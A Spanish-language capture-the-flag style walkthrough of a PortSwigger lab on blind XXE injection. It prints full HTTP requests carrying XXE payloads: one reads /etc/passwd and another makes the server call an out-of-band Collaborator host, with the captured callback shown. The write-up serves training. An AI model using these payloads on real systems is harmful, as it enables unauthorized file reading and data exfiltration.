> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/xml-external-entity-xxe-injection/lab-3-blind-xxe-with-out-of-band-interaction.md).

# Lab 3: Blind XXE with out-of-band interaction

Inicialmente se detecta la siguiente peticion al interactuar con el siguiente button:

<figure><img src="/files/l3BWRikY97CKQ9iUx94d" alt=""><figcaption></figcaption></figure>

La peticion generada es la siguiente:

{% code overflow="wrap" %}

```bash
POST /product/stock HTTP/2
Host: 0a06008903e3311885d9626000d50011.web-security-academy.net
Cookie: session=y07iamBVdzNDbapqbxpwPFM8Ohv5Ep9H
Content-Length: 107
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a06008903e3311885d9626000d50011.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a06008903e3311885d9626000d50011.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>
```

{% endcode %}

Y la respuesta es:

```
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3

390
```

Si intentamos una inyeccion XXE, se puede apreciar que es BLIND:

```
POST /product/stock HTTP/2
Host: 0a06008903e3311885d9626000d50011.web-security-academy.net
Cookie: session=y07iamBVdzNDbapqbxpwPFM8Ohv5Ep9H
Content-Length: 176
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a06008903e3311885d9626000d50011.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a06008903e3311885d9626000d50011.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Y la respuesta es:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Invalid product ID"
```

Teniendo en cuenta lo anterior, generamos un Collaborator para validar si existe un XXE sobre dicha peticion:

<figure><img src="/files/CVBnMN2nBwwvQAqHzQze" alt=""><figcaption></figcaption></figure>

Y luego de copiar el host del collaborator enviamos la siguiente peticion:

```
POST /product/stock HTTP/2
Host: 0a06008903e3311885d9626000d50011.web-security-academy.net
Cookie: session=y07iamBVdzNDbapqbxpwPFM8Ohv5Ep9H
Content-Length: 215
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://0a06008903e3311885d9626000d50011.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a06008903e3311885d9626000d50011.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=1, i

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://tollpowjrziqr9faax6fz2kha8gz4pse.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

La respuesta de la peticion fue la siguiente:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Invalid product ID"
```

Y luego de lo anterior, se detecta el siguiente trafico en el collaborator:

```
GET / HTTP/1.1
User-Agent: Java/21.0.1
Host: tollpowjrziqr9faax6fz2kha8gz4pse.oastify.com
Accept: */*
Connection: keep-alive
```


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